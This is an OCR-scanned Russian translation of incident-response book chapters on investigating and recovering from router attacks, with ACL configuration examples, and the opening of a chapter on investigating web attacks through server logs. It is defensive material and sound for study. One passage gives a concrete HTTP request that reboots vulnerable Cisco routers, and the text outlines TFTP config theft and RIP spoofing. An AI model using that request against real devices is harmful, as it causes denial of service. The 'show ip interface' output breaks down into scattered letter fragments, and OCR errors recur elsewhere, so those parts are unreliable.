значит атакующий воздействовал на конфигурацию маршрутизатора. Дру-
гие маршруты могут модифицироваться без прямого обращения к маршру-
тизатору с помощью таких методов как подделка RIP (протокола информа-
ции маршрутизации). RIP является протоколом маршрутизации, который
используется маршрутизаторами для обновления своих таблиц маршруги
зации с соседями. Атакующий может послать поддельный пакет RIP, обжж
ляющий таблицы маршрутизации маршрутизатора жертвы, не получая
даже доступ к маршрутизатору.
Пример инцидента
Злоумышленный атакующий получил контроль за маршрутизатором и
изменил статические маршруты. Злоумышленник не сохранил эти изме-
нения в NVRAM. Пока маршрутизатор не будет перезагружен, измене-
ния атакующего остаются в силе. Поэтому, если системный администра-
тор выключит маршрутизатор и проверит позже конфигурацию, то
никаких следов атакующего найдено не будет. Чтобы избежать такой си
туации, сохраняйте конфигурацию, которая находится в RAM, а также
конфигурацию из NVRAM.

366
Глава 13
Проверка конфигурации интерфейса
Информация о конфигурации каждого интерфейса маршрутизатора до 1
ступна через команду show ip interface.
cisco_router#show ip interface
EthernetO is up, line protocol is up
Internet address is 10.0.2.244/24
Broadcast address is 255.255.255.255
Address determined by non volatile memory
MTU is 1500 bytes
Helper address is not set
Directed broadcast forwarding is disabled
Multicast reserved groups joined: 244.0.0.9
Outgoing access list is not set
Ir'jound access list is not set
Proxy ARP is disabled
Security level is default
Spl
o
is
abl
d
C
d
a
lw ys
s
t
MP
h
les
a way
et
MP
sk
epli
s
a
e
e
nt
a
w
t
g
is
e
a
t
ig
t
s
nt rf
s disabled
u
i
tf
t
wit h
i
disabled
eDs
ery is
di
bld
pu
pa
et
a
u
t
ng
sabl d
P
cs
lat
co
ngisdsbled
TC/IP h a
opessi
i disabl
be pr
y
me,
plies
disabled
Ga
e
y
Di
y is dis bled
Poli y
out
gi
d
sabl d
Ne
okad
es
t
a
slatio
is disabled
Просмотр кэша ARP
ARP (Addr ss Resoluti n Protocol ---
прот
кол разреше ия адреса) у та а ли
вает со
е ствие
между IP адресами и МАС адресам (media access control
управление досту ом к нформационной среде). В отличие о IP адресов
(ко рые вляю ся адресами сетевого уровня), Адреса MAC представляют
собой физ еские адреса (уровня 2 м дел OSI) и не маршрутизирую ся вне
доменов широковещания. Маршрутизаторы хранят адреса MAC любого
устройства в ло альном домене широковещания, вместе с его IP адресом,
в кэше ARP.
Атакующие иногда подделывают IP или МАС адреса, чтобы обмануть
средства управления безопасностью, такие как списки контроля доступа
(ACL), правила брандмауэра или назначения портов коммутации. И так как
это легко разрушить и легко сохранить, то можно также сохранить эту ин-
формацию. Используйте команду show ip arp для просмотра кэша ARP.
Проверка конфигурации интерфейса
Информация о конфигурации каждого интерфейса маршрутизатора до-
ступна через команду show ip interface.

Исследование маршрутизаторов
367
cisco_router#show ip arp
Protocol Address Age (min) Hardware Addr Type Interface
Internet 172.16.1.253 0010.7bf9.1d81. ARPA Ethernetl
Internet 10.0.2.71
0 0010.4bed.d708 ARPA EthernetO
Internet 10.0.2.244
0010.7bf9.1d80 ARPA EthernetO
ПОИСК ДОКАЗАТЕЛЬСТВА
Мы сохранили большую часть необходимой информации. Следующие дей-
ствия будут зависеть от типа предполагаемого инцидента на основе началь-
ного расследования. Здесь мы рассмотрим действия для нескольких типов
инцидентов, связанных с маршрутизаторами, включая идентификацию
подтверждения доказательства. Разделим типы инциденто'в, включающих
маршрутизаторы, следующим образом:
Прямая компрометация
Изменение таблицы маршрутизации
Кража информации
Отказ в обслуживании
Обработка инцидентов с прямой компрометацией
Прямой компрометацией маршрутизатора является любой инцидент, где ата-
кующий получает интерактивный или привилегированный доступ к маршру-
тизатору. Прямая компрометация предоставляет атакующему контроль за
маршрутизатором и доступ к данным, которые хранятся на маршрутизаторе.
Административный доступ к маршрутизатору доступен удивительно боль-
шим числом способов, включая telnet, консоль, SSH, Web, SNMP (простой
протокол пересылки почты), модем и доступ TFTP (тривиальный протокол
передачи файлов). Интерактивный доступ, даже не привилегированный, яв-
ляется опасным в связи с функциональностью маршрутизатора. Любой чело-
век с интерактивным доступом может использовать маршрутизатор для
идентификации и компрометации других хостов через доступных клиентов
маршрутизатора, таких как ping и telnet. Это особенно опасно, потому что
маршрутизатор часто предоставляет доступ к внутренним сетям, хотя бранд-
мауэр может блокировать весь остальной доступ к внутренним сетям.
Исследование инцидента с прямой компрометацией
В зависимости от того, как вы были уведомлены об инциденте, вы можете су-
дить о способе получения административного доступа. Например, IDS мо
жет показать соединение telnet с маршрутизатором из IP адреса Интернета,
В других случаях понадобится найти ответ во время исследования. С помо
шью собранной информации, а именно конфигурационного файла и списка
слушающих портов, исследование готово к хорошему началу.

368
Глава 13
Слушающие службы Слушающие службы на маршрутизаторе предоставляют
потенциальные точки атаки из сети. Список интерфейсов должен сообщить,
имеет ли маршрутизатор модемный доступ. Анализ физической безопасности
маршрутизатора поможет определить относительную доступность порта
консоли. Скорее всего имеется только пара возможностей для атаки, и это
простое упражнение сужает область поиска.
Пароли Большинство направлений атаки на маршрутизатор требует паро-
ля. (Существует несколько исключений, которые будут рассмотрены в сле-
дующем разделе). Маршрутизаторы могут иметь различные пароли для
различных служб, таких как telnet, SNMP и enable access. Атакующие могут
узнать пароли на маршрутизаторе с помощью различных средств. Наибо-
лее очевидным является попытка угадать пароль с помощью грубой силы.
Этот метод, ставший популярным благодаря Мэтью Бродерику из "Воен-
ных игр" (пароль Joshua), все еще активно сегодня используется, однако
обычно в автоматизированном виде. Часто атаки выяснения пароля с по-
мощью грубой силы фиксируются системой IDS, что будет полезно во
время исследования.
Если используемые пароли очень трудно угадать, то определение пароля
с помощью грубой силы будет вероятно нелегко использовать в качестве
средства компрометации. Пароли хранятся в конфигурационном файле,
обычным текстом или зашифрованными с помощью шифра Vigenere (XOR)
или алгоритма MD5. Быстрый просмотр используемых паролей предоставит
исследователю некоторые ключи о способе компрометации. Другой способ,
которым атакующие могут узнать пароль, является использование сетевого
анализатора. Любой протокол, передающий данные и информацию аутенти-
фикации открытым текстом, такие как SNMP, Telnet, HTTP и TFTP, является
уязвимым для сетевого прослушивания.
Другие возможности компрометации Если компрометация сделана не через
слушающую службу и не с помощью пароля, то существует мало других воз-
можностей. Любой человек с консольным доступом к маршрутизатору может
получить административный доступ к устройству с помощью перезагрузки
и соответствующих процедур. Информация о времени работы системы,
полученная во время исследовательских действий, предоставит время послед-
ней перезагрузки маршрутизатора. Альтернативно, если с маршрутизатором
соединился модем, то, возможно, последний законный пользователь вышел
из системы некорректно, позволяя атакующему получить доступ к маршрути-
затору без пароля. Еще один метод компрометации TFTP требует некоторого
пояснения.
Маршрутизаторы используют TFTP для сохранения и перезагрузки кон-
фигурационных файлов через сеть. TFTP является протоколом UDP, по
своей сути незащищенным. Он не требует аутентификации, и все данные
передаются открытым текстом. Конфигурационные файлы маршрутизато-
ра часто используют соглашение об именах следующего вида <имя_хос
ma>_confg или <имя_хоста>.cfg. Чтобы воспользоваться этим, атакующему
необходимо только просканировать сеть в поисках маршрутизатора и сер-
вера TFTP. Атакующий узнает имя хоста маршрутизатора через службу

Исследование маршрутизаторов
369
имен доменов (DNS) и запрашивает конфигурационный файл с сервера TFTP.
В этом месте атакующий может использовать информацию о пароле в конфи-
гурационном файле, чтобы получить доступ к маршрутизатору или изменить
конфигурационный файл, и затем загрузить его на сервер TFTP и ждать пере-
загрузки сети.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Процедуры восстановления паролей для продуктов Cisco: http://www.cisco.com/
waro/public/474/index.shtml
Восстановление после инцидентов с прямой компрометацией
Восстановление после инцидентов прямой компрометации необходимо
осуществлять при отключенном от сети маршрутизаторе. Восстановление
должно быть соразмерно атаке, но как обычно, параноидальная установка
будет предпочтительной. Если сомневаетесь, то выполните дополнитель-
ные действия по обеспечению безопасности. Примеры действий, которые
необходимо выполнить:
Удалите все ненужные службы.
Разрешите удаленный доступ только через шифрованные протоколы.
Запретите доступ SNMP или разрешите доступ только для чтения.
Не используйте пароль SNMP в качестве пароля для любого другого
доступа.
Смените все пароли.
Реализуйте ACL так, чтобы для маршрутизатора разрешались соеди-
нения только с надежными хостами.
Обновите программное обеспечение самыми последними версиями.
Обработка инцидентов с изменением таблиц маршрутизации
Маршрутизаторы могут использовать множество протоколов для обновле-
ния своих таблиц маршрутизации, включая RIP, OSPF (Open Shortest Path
First), EIGRP (Enhanced Interior Gateway Routing Protocol), IGRP (Interior
Gateway Routing Protocol), BGP (Border Gateway Protocol) и т.д. Эти прото-
колы передают информацию о лучшем пути доступа между сетями сосед-
ним маршрутизаторам, и они имеют различные степени безопасности. Не-
которые, подобно широко распространенному RIP, не предоставляют
возможность аутентификации. Маршрутизатор будет принимать обновле-
ния RIP не требуя никакой аутентификации. Другие протоколы предлага-
ют возможность использовать пароли, но реализация системы безопасно-
сти с паролем зависит от администратора. Атаки, включающие изменение
таблиц маршрутизации, компрометируют функциональность маршрутам
тора, а не сам маршрутизатор.

370
Глава 13
ВНИМАНИЕ Более подробно о маршрутизаторах и протоколах маршрутизаторов
можно узнать в книге Interconnections, Second Edition: Bridges, Rou-
ters, Switches and Internetworking Protocols, Radia Perlman (Addi
son Wesley, 1999) или в книге Cisco TCP/IP Routing Professional
Reference, Chris Lewis (McGraw Hill, 2000).
Исследование инцидентов с изменением таблиц маршрутизации
Чтобы увидеть текущую таблицу маршрутизации, достаточно просто про-
смотреть вывод команды show ip route. Однако требуется знание сети, что-
бы понять, что существуют какие то противоречия. Если какой либо из
маршрутов не отвечает здравому смыслу или если пакеты кажутся проходя-
щими через отдаленные сети, то требуется тщательное исследование. Если
в таблице маршрутизации появляются незнакомые статические маршруты,
то маршрутизатор мог подвергнуться прямой компрометации.
Восстановление после инцидентов с изменением
таблиц маршрутизации
Временное восстановление после атак на таблицы маршрутизации выпол-
нить легко: удалите нежелательные статические маршруты и перезагрузите
маршрутизатор. Однако предотвратить появление этих атак в будущем более
сложно. Можно использовать ACL для ограничения обновлений маршрути-
затора только хорошо известными адресами источников. Однако, поскольку
некоторые протоколы маршрутизации являются UDP, то эти адреса могут
подделываться. Можно еще в большей степени ограничить доступность,
используя защищенные от подделки ACL, но эти списки не слишком про-
сты в обращении. Выбранный протокол маршрутизации должен допускать
аутентификацию, и аутентификация должна быть инициирована.
Обработка инцидентов, связанных с кражей информации
Украсть данные из маршрутизаторов сложно, так как в маршрутизаторе на-
ходится не слишком много данных. Атакующий не найдет на маршрутизато-
ре базы данных платежных ведомостей или каких нибудь секретных формул.
На маршрутизаторе находится информация, связанная с сетевой тополо-
гией и контролем доступа. Типичная информация, которую атакующий изв-
лекает из маршрутизаторов, включает пароли, данные о маршрутах и топо-
логии. Восстановление от кражи этих данных состоит в смене паролей,
исключение повторного использования паролей и ограничение возможно-
сти атакующих получить чувствительную информацию. Наибольшей ошиб-
кой в связи с этой проблемой является применение службы SNMP (Simple
Network Management Protocol) с используемой по умолчанию общей строкой
(паролем) "public". Когда эта служба включена, атакующий может получить
большой объем чувствительной сетевой информации. Атакующие из Интер-
нета могут даже узнать хосты и диапазоны IP адресов внутренних сетей.

Исследование маршрутизаторов
371
Обработка атак типа отказа в обслуживании
Атаки отказа в обслуживании (DoS --- Denial of service) часто направляются на
маршрутизаторы. Если атакующий может вынудить маршрутизатор остано-
вить пересылку пакетов, то все хосты позади маршрутизатора будут фактиче-
ски отключены. Атаки DoS распадаются на несколько базовых категорий:
Разрушение Атаки, которые разрушают возможность функциониро-
вания маршрутизатора, такие как удаление конфигурационной ин-
формации или отключение питания.
Потребление ресурсов Атаки, которые ухудшают производитель-
ность маршрутизатора, такие как одновременное открытие множества
соединений с маршрутизатором.
Потребление полосы пропускания Атаки, которые пытаются пере-
полнить емкость полосы пропускания сети маршрутизатора.
Исследование атак DoS
Определение типа атаки DoS должно быть самой легкой частью исследования.
Если маршрутизатор вообще не работает, то это, возможно, атака разрушения.
Проверьте сначала электропитание, кабели и конфигурацию.
Маршрутизатор время от времени перезагружается или его производите-
льность равномерно снижается? Периодические перезагрузки маршрутизато-
ра являются вероятно результатом атаки "точка точка", направленной на мар-
шрутизатор. Равномерное снижение производительности может быть атакой
потребления либо ресурса, либо полосы пропускания. В любом случае детали
вы обнаружите при рассмотрении сетевого анализатора. Ищите пакеты,
направленные прямо в маршрутизатор, а также излишнее количество паке-
тов, которые не являются частью установленных соединений (см. главы 6 --- 8).
Пакеты, направленные на маршрутизатор, влияют на маршрутизатор
только в том случае, если на нем слушает порт. Например, атака DoS на Cis-
co "OS 12 12.1 (Cisco Internetworking Operating System версии 12 12.1) была
обнаружена Альбертом Солино из Core SDI. Соединяясь с маршрутизато-
ром или коммутатором Cisco, имеющим включенный интерфейс Web (это
означает, что маршрутизатор слушает на порте 80), любой может послать
пакет HTTP с URL http:// <адрес маршрутизатора> /cgi bin/view source?/,
и устройство будет перезагружено. Перезагружающийся маршрутизатор яв-
ляется неработающим маршрутизатором, следовательно, вы имеете отказ
в обслуживании.
Влиять на снижение производительности может также поток пакетов,
направленных на маршрутизатор. Если маршрутизатор имеет открытые
порты, то избыток пакетов SYN или каких то аналогичных пакетов может
повлиять на производительность маршрутизатора. Даже если маршрутиза-
тор не имеет открытых портов, поток трафика может оказать воздействие
на маршрутизатор или использовать полосу пропускания, так что сетевая
производительность будет существенно снижена. Распределенная атака от-
каза в обслуживании (DDoS) является примером атаки на полосу пропуска-
ния. Подобный тип атаки не обязательно направлен на маршрутизатор,

372
Глава 13
однако маршрутизатор может использоваться для смягчения воздействия
атаки. Этот специфический случай будет рассматриваться в разделе "Реаги-
рование на атаки DoS".
Восстановление после атак DoS
Атаки DoS имеют серьезное влияние на сети, однако при этом они являются
одним из самых простых инцидентов для разрешения. Обычно атаки DoS не
включают компрометацию маршрутизатора. Скорее всего они компромети-
руются нежелательными пакетами, посылаемыми через маршрутизатор.
Восстановление состоит из комбинации следующих мер:
Удаление слушающих служб
Обновление программного обеспечения самыми новыми версиями
Ограничение доступа к слушающим службам с помощью ACL
Реализация ACL для ограничения злоумышленного трафика
Обсудим ACL более подробно в следующем разделе.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Информация об атаках DoS и контрмерах: http://www.cisco.com/warp/public/707/
22.html
ИСПОЛЬЗОВАНИЕ МАРШРУТИЗАТОРОВ
В КАЧЕСТВЕ ИНСТРУМЕНТОВ ОТВЕТА
Маршрутизаторы имеют много применений во время реагирования на ин-
цидент, особенно при восстановлении. Некоторыми из наиболее полезных
свойств маршрутизатора являются ACL и средства ведения журналов. Кроме
того, существуют специфические действия, которые могут выполняться на
маршрутизаторах для снижения результатов атак DoS. Далее мы рассмот-
рим, как будут реализоваться эти возможности.
Введение в списки контроля доступа
ACL являются механизмами, которые ограничивают трафик, проходящий
через маршрутизатор. Пакеты могут ограничиваться на основе большого
набора атрибутов, включающих:
Протокол
IP адрес источника или места назначения
Порт источника или места назначения TCP или UDP
Флаг TCP
Тип сообщения ICMP
Время дня

Исследование маршрутизаторов
373
Обычно ACL используются для реализации политик безопасности. Хо-
рошо сконфигурированный маршрутизатор может предоставить многие
возможности коммерческих брандмауэров. Маршрутизаторы часто приме-
няются в дополнение к брандмауэрам.
ВНИМАНИЕ Документация об ACL широко распространена и одним из луч-
ших источников является Cisco Access Lists Field Guide, Gilbert
Held (McGraw Hill, 2000). Мы покажем здесь простой пример
ACL. Советуем обратиться к более подробным текстам за пол-
ным руководством, включая справочную систему Cisco, доступную
на http://www.cisco.com/univercd /cc/td/doc/cisintwk/ics/cs003.htm.
Конфигурирование ACL
ACL могут использоваться во время реагирования, чтобы исключить тра-
фик. Например, если постоянное сканирование портов происходит из дан-
ной сети, то реагирование может состоять в отказе от приема всего последу-
ющего трафика из этой сети. Чтобы реализовать подобное правило в Cisco,
начните с входа в режим конфигурирования (вы должны быть в режиме
enable):
cisco_router#config t
Enter configuration commands, one per line. End with CNTL/Z.
cisco_router(config)#
Создайте ACL, отвергающий любой трафик из сети источника (200.200.
200.0/24 в этом примере) в вашу сеть:
cisco_router(config)#access list 101 deny ip 200.200.200.0 0.0.0.255 any
cisco_router(config)#access list 101 permit ip any any
Номер списка имеет существенное значение. Стандартные ACL могут филь-
тровать только на основе адреса источника. Они пронумерованы с 0 до 99.
Расширенные ACL могут фильтровать на множестве атрибутов пакетов и про-
нумерованы со 100 до 199. Первая запись включает оператор deny, обозначаю-
щие, что любой пакет, который соответствует списку, будет отвергнут. Стро-
ка "ip" указывает, что используется протокол IP. Следующий набор чисел
является адресом источника, который в этом случае является IP адресом и ма-
ской соотвегствия. Такая маска считается инверсной для маски подсети, кото-
рую можно ожидать для класса С (соглашение Cisco), поэтому этот список
применим к любому адресу источника в диапазоне от 200.200.200.0 до 255.
Последний элемент в строке any указывает, что список соответствует пакетам
с любым адресом места назначения.
Вторая строка, которая пропускает любой IP пакет, является необходи
мой в связи с конструкцией ACL Cisco. Эти ACL применяются на основе ПО
рядка следования. Второе правило не будет пропускать пакеты, отвергну
тые первым правилом. Пакеты отвергаются прежде, чем дойдут до второго
правила. Второе правило необходимо, чтобы пропустить желательные па
кеты через маршрутизатор, так как незаписанное правило всегда применя
ется на маршрутаторе последним, и эти правила отвергают весь трафик,
кторый не разрешен специально.

374
Глава 13
После создания ACL примените его к соответствующему интерфейсу. В
этом примере маршрутизатор имеет два интерфейса: ЕТН0 и ЕТН1. Интер-
фейс ЕТН0 соединен с Интернетом, а ЕТН1 --- с интранетом.
cisco_router(config)#interface ethO
cisco_router(config if)#ip access group 101 in
Этот шаг конфигурации применяет правила ко всем пакетам, входящим
в маршрутизатор через внешний интерфейс.
Затем выходим из режима конфигурирования:
cisco_router(config if )#^Z
cisco_router#
Чтобы проверить, что ACL действует, используйте команду show running
config для просмотра списков:
cisco_router#show running config
<config edited for length>
interface EthernetO
ip address 100.0.2.244 255.255.255.0
ip access group 101 in
<config edited for length>
!access list 101 deny ip 200.200.200.0 0.0.0.255 any
access list 101 permit ip any any
<config edited for length>
В конце сохраните действующую конфигурацию в NVRAM:
cisco_router#copy running config startup config
Building configuration...
[OK]
cisco_router#
Все готово. Управление доступом было задано на маршрутизаторе. Воз-
можны бесконечные вариации. Проконсультируйтесь в доступной докумен-
тации о возможных синтаксических примерах.
Предотвращение подделки IP адреса
Подделка IP адреса является одним из самых старых, но по прежнему наи-
более опасных методов, используемых атакующими из Интернета. Если
атакующий может замаскироваться под надежный сетевой адрес, то систе-
ма жертва позволит пакетам атакующего достичь своей цели. Маршрутиза-
торы играют важную роль в предотвращении таких атак. Каждый интер-
фейс маршрутизатора должен отвергать пакеты, которые логически не
могут приходить с данного сетевого интерфейса.
Например, если имеется конфигурация, показанная на рис. 13.1, то ин-
терфейс для Интернета на маршрутизаторе должен иметь правило, запреща-
ющее вход любому пакету с адресом источника в диапазоне 200.200.200.xxx.
Это правило не будет влиять на законный трафик, так как весь законный
трафик из сети 200.200.200.xxx поступает через другой интерфейс марш-
рутизатора.

Исследование маршрутизаторов
375
Рис. 13.1. Маршрутизатор между Интернетом и внутренней сетью
Мониторинг с помощью маршрутизатора
Во время инцидентов бывает полезно выполнить мониторинг сетевого тра-
фика. Для этой задачи используются маршрутизаторы, и они могут оказать-
ся бесценными во многих случаях, когда другое программное обеспечение
мониторинга не может справиться с полосой пропускания, проходящей че-
рез маршрутизатор. Ведение журналов конфигурируется с помощью ACL, и
журналы можно сконфигурировать для разрешенного трафика, отвергнутого
трафика и всего трафика.
В качестве примера предположим, что мы хотим регистрировать все па-
кеты, которые поступают из запрещенной сети, как описано в предыдущем
разделе (см. рис. 13.1.). Вместо первого правила контроля доступа, которое
было реализовано, необходимо реализовать следующее:
access list 101 deny ip 200.200.200.0 0.0.0.255 any log
Добавление ключевого слова log означает, что любой пакет, который со
ответствует этому списку, выводится на консоль. Поскольку консоли марш-
рутизаторов не являются идеальным средством для просмотра вывода этого
мониторинга, можно также сконфигурировать маршрутизатор для записи
этих сообщений на сетевом сервере syslog (см. главу 3). При наличии сетево-
го сервера syslog сконфигурируйте маршрутизатор следующим образом:
cisco_router#config terminal
Enter configuration commands, one per line. End with CNTL/Z.
cisco_router (config)#logging 10.0.2.18.
Теперь все журнальные сообщения будут посылаться на сервер syslog.

376
Глава 13
Реагирование на атаки DDoS
Понятие DDoS вошло в словарь профессионалов по безопасности в конце
1999 г. Эти хитроумные атаки использовали системы в Интернете для одно-
временной отправки большого объема трафика на сайты жертвы. Последую-
щие атаки расширили основную идею с помощью технологий усиления тра-
фика, которые способны привести в нерабочее состояние служба даже самых
больших сайтов. Последствий этих атак никогда невозможно избежать полно-
стью. Если достаточное количество трафика попадает на сайт жертву в одно
время, то сайт жертва не сможет ответить на все запросы. Однако некоторые
специальные действия можно предпринять, чтобы смягчить последствия
этих атак и сократить их способность помешать работе службы. Мы рас-
смотрим некоторые из них здесь.
Атаки DDoS являются мультипротокольными атаками. Пакеты ICMP,
UDP и TCP --- часть атаки. Атаки включающие пакеты ICMP и UDP можно
быстро смягчить, блокируя пакеты ICMP и UDP. Большинство сетей не
нуждается в том, чтобы этим протоколам был разрешен доступ из Интерне-
та (за исключением UDP53, DNS), поэтому создайте ACL, которые отверга-
ют весь трафик ICMP и UDP, за исключением трафика DNS на специаль-
ные серверы DNS.
Атаки TCP смягчить немного сложнее. Трафик TCP необходим, если толь-
ко вы не используете другие способы получения e mail, размещения Web сай-
тов или использования соединений Интернета. Атаки DoS на основе TCP име-
ют две основные разновидности: ориентированные на соединение и без
соединения.
ВНИМАНИЕ Если вы не знакомы со всеми упомянутыми здесь деталями TCP, то
проконсультируйтесь в руководстве TCP/IP Illustrated: Volume 1: The
Protocols, W.Richard Stevens (Addison Wesley, 1994).
Реагирование на атаки TCP, ориентированные на соединение
Ориентированные на соединение атаки выполняют трехходовое квитиро-
вание TCP для создания соединения. Так как трехходовое квитирование за-
вершается, то адрес источника атаки практически определен. (Крайне
трудно подделать IP адреса источника и выполнить трехходовое квитиро-
вание в связи с последовательными номерами TCP).
Ориентированные на соединение атаки, называемые иногда атаками
таблицы процессов или атаками распределения ресурсов, должны приходить с
реально определенного адреса источника, поэтому возможна фильтрация
злозредных адресов с помощью ACL. Плохо то, что фильтрация является
реагирующей --- адрес источника можно фильтровать только после иденти-
фикации зловредного адреса через файлы журналов или с помощью сетевого
мониторинга.

Исследование маршрутизаторов
377
Реагирование на атаки TCP без соединения
Атаки TCP без соединения инициируют соединение TCP, посылая только
пакеты SYN, никогда не завершая квитирование. Для этих атак подделка ад
ре :а источника --- тривиальная задача, так как номер последовательности
не играет никакой роли.
Атаки без соединения фильтровать более трудно, так как каждый пакет
может иметь другой адрес источника, и эти адреса источников не являются
реальным источником пакета. Положительно то, что сами атаки не являют-
ся такими разрушительными, как более плохие атаки ориентированные на
соединение.
Чтобы уменьшить последствия атак без соединения, необходимо реали-
зовать пропорциональную фильтрацию TCP. Этот процесс описан в доку-
менте Cisco "Strategies to Protect Against Distributed Denial of Service Attacks"
("Стратегии защиты против распределенных атак отказа в обслуживании"),
доступном на Web сайте компании Cisco.
Основная идея пропорциональной фильтрации основывается на срав
нении характеристик нормального трафика и трафика, существующего во
время потока SYN. Нормальные соединения требуют, чтобы пакет SYN по-
сылался только когда соединение впервые создается. Коэффициент, огра-
ничивающий число пакетов SYN в сети, будет ограничивать новые входя-
щие соединения во время нормальной работы. Важность ограничения
проявляется во время атаки потока SYN, когда маршрутизатор подавляет
ложные пакеты SYN, посланные на маршрутизатор. Например, если марш-
рутизатор передает пакеты SYN не более 40% времени (пропорциональное
ограничение), то, по крайней мере, 60% трафика будет всегда установлен-
ными соединениями (пакеты АСК, когда пользователи посещают Web сер-
вер). Это решение не должно влиять на общую полосу пропускания сети;
оно затрагивает только число соединений сети.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Ресурс Cisco "Strategies to Protect Against Distributed Denial of Service Attacks":
http://www.cisco.com/warp/public/707/newsflash.html.
ИТОГИ
Маршрутизаторы являются критически важными сетевыми устройствами,
играющими множество ролей при сетевых атаках. Как вы узнали, маршру-
тизатор может быть соучастником преступления, жертвой или ценным со-
юзником во время реагирования на атаку. Для исследователя наиболее важ-
ным моментом для понимания служит разнообразная функциональность
мaршрутизаторов. Зная возможности маршрутизаторов, вы поймете, как
исследовать и использовать их в своих целях во время реагирования на ин
цидент.

ГЛАВА 14
Исследование Web атак

380
Глава 14
Дo сих пор в основном рассматривалась технология сетей и операционных
систем. С Web атаками связан уровень приложений. Web атаки уникальны
и достаточно серъезны.
Атаки на основе Web обычно попадают в одну из трех категорий: атаки
против самого сервера (поиск доступа), атаки против содержимого (иска-
жения сайтов) и атаки против корпорации или организации (кража про-
дукта или информации). Наиболее распространенными атаками являются
искажения сайтов, ежедневно представляемые в "зале позора" на сайте http:
//www.attrition.org (см. главу 2).
В этой главе будут рассматриваться некоторые действия, используемые
при исследовании Web атак. Web приложения являются уникальными и
включают множество различных технологий: слой безопасного соедине-
ния (SSL), Java, JavaScript, активные серверные страницы (ASP), интерфейс
общего шлюза (CGI) и т.д. Методы исследования легко адаптируются для
любой из этих технологий. Вы обнаружите, что исследования Web атак
пр ще всего выполнить с помощью администраторов и разработчиков сай-
тов, так как они знают свой код лучше, чем кто либо другой.
ДО ВЫКЛЮЧЕНИЯ ПИТАНИЯ
Web атаки часто связаны с уязвимостями в программах операционной сис-
темы и в системе аутентификации. Например, если атакующий способен
получить ID пользователя администратора и пароль для Web сервера, то
легко выполнить атаку искажения.
Большинство Web атак должны исследоваться согласно действиям для
операционной системы, на которой находится Web сервер. Вряд ли нужно
делать что то еще перед выключением питания системы. Специальные жур-
налы приложений и информация обычно записываются на жестком диске
синхронно. Помните, что файлы журналов полезны только содержащейся
в них информацией. Поэтому всегда необходимо проверять их настройку
до реального инцидента, чтобы гарантировать, что они будут представлять
какую то ценность.
ПОИСК ДОКАЗАТЕЛЬСТВА
Точное определение того, что произошло во время Web атаки, часто более
сложно, чем обнаружение этой информации для атак других типов. К сожа-
лению, это важно, так как Web атаки могут быть атаками наиболее разруши-
тельного типа в терминах публичного восприятия и доверия потребителей.
Здесь будут рассматриваться способы, с помощью которых исследователь
может эффективно исследовать и реагировать на Web атаки. Наше обсужде-
ние Web атак сконцентрировано на двух Web серверах, которые доминиру-
ют на рынке: Apache и IIS (Internet Information Server) компании Microsoft.

Исследование Web атак
381
ВНИМАНИЕ Согласно обзору от сентября 2000 г. компании SecuritySpace.com
(http://www.securityspace.com/survey/data/index.html), из более чем
двух миллионов Web серверов 57,9% используют Apache и 28,1%
применяют IIS. Результаты обзоров Netcraft (http://www.net
craft.com/survey/) показывают аналогичные результаты.
Исследование файлов журналов
Хотя журналы будут полезны при обнаружении атак, мы предположим, что
в текущий момент исследования ожидается инцидент. Различные файлы
журналов могут использоваться для подтверждения или опровержения это-
го события. Затем вы сможете определить тип, распространение, причину
и источник инцидента.
Любой одиночной записи файла журнала может оказаться недостаточно
для создания полной картины инцидента, однако последовательность запи-
сей, таких как записи в примерах, показанных в следующих разделах, дает
исследователю временную последовательность и контекст, необходимые
для понимания инцидента. Всестороннее понимание инцидента критиче-
ски важно для эффективного ответа. Прежде чем можно будет восстано-
вить безопасность Web сервера, необходимо разбираться в его уязвимости.
Журналы IIS
Для IIS файл используемого по умолчанию журнала расположен в каталоге
C:\WINNT\System32\LogFiles\W3SVCl. Имя файла журнала основывается
на текущей дате в формате exyymmdd.log. Новый файл журнала генерирует-
ся каждый день. По умолчанию используется расширенный формат файла
журнала W3C (консорциума WWW) --- стандартный формат, который интер-
претируют и понимают многие утилиты независимых поставщиков. Другие
доступные форматы включают журнал IIS, который предоставляет фикси-
рованный формат ASCII, и журнал ODBC (Open Database Connectivity) в си-
стемах Windows 2000. Он посылает фиксированный формат в указанную
базу данных. Здесь будет рассматриваться журнал W3C, который является
форматом, позволяющим записывать журналы каждый час, день, неделю или
месяц.
Активизация и конфигурирование журналов IIS задается в свойствах
Web Site менеджера IIS. Используемый по умолчанию файл журнала сохра-
няет время, IP адрес клиента, метод (GET, POST и т.д.), основу URI (запро-
шенный ресурс или страница) и статус HTTP (числовой код статуса).
Большинство полей журнала легко понятны, но поле статуса HTTP требу-
ет некоторого пояснения. Обычно любой код в диапазоне от 200 до 299 ука-
зывает на успех. Код 200 обозначает, что был выполнен запрос клиента.
Коды в диапазоне от 300 до 399 указывают действия, которые необходимо
выполнить клиенту, чтобы осуществить запрос. Это обычно означает авто-
матическое перенаправление, такое как перенесение содержимого Web сай-
га в другое месторасположение. Коды в диапазонах от 400 до 499 и от 500
до 599 указывают на ошибки клиента и сервера соответственно, Наиболее
распространенными кодами серии 400 является код 404, показывающий,

382
Глава 14
что запрошенный ресурс не найден на сервере, а также код 403, указываю-
щий, что извлечение запрошенного ресурса запрещено.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Обсуждение и перечисление кодов статуса HTTP: http://www.w3.org/Protocols/
HTTP/HTRESP.html
Журналы Apache
Журналы Apache хранятся в используемом по умолчанию расположении
/usr/local/apache/logs. Наиболее полезен журнал access_log, но другие
файлы, такие как ssl_request_log и ssl_engine_log, могут также предоставить
ценную информацию. Активизация и конфигурирование этих журналов за-
дается в файле httpd.conf в каталоге ./apache/conf.
Журнал access_log содержит семь полей для IP адреса клиента, уникально-
го личного идентификатора (обычно пустого), имени пользователя (если тре-
буется аутентификация), даты, метода (GET, POST, и т.д.), запрошенного ре-
сурса, версии протокола, статуса HTTP и числа переданных байтов. Метод,
запрошенный ресурс и версия протокола находятся в одном поле, называе-
мом Method Resource Protocol.
Безопасность журнала
Для Web серверов IIS и Apache файлы журналов хранятся на самом сервере
Web (по умолчанию). Любой атакующий с доступом к серверу сможет уда-
лить или изменить журналы, чтобы стереть свои следы.
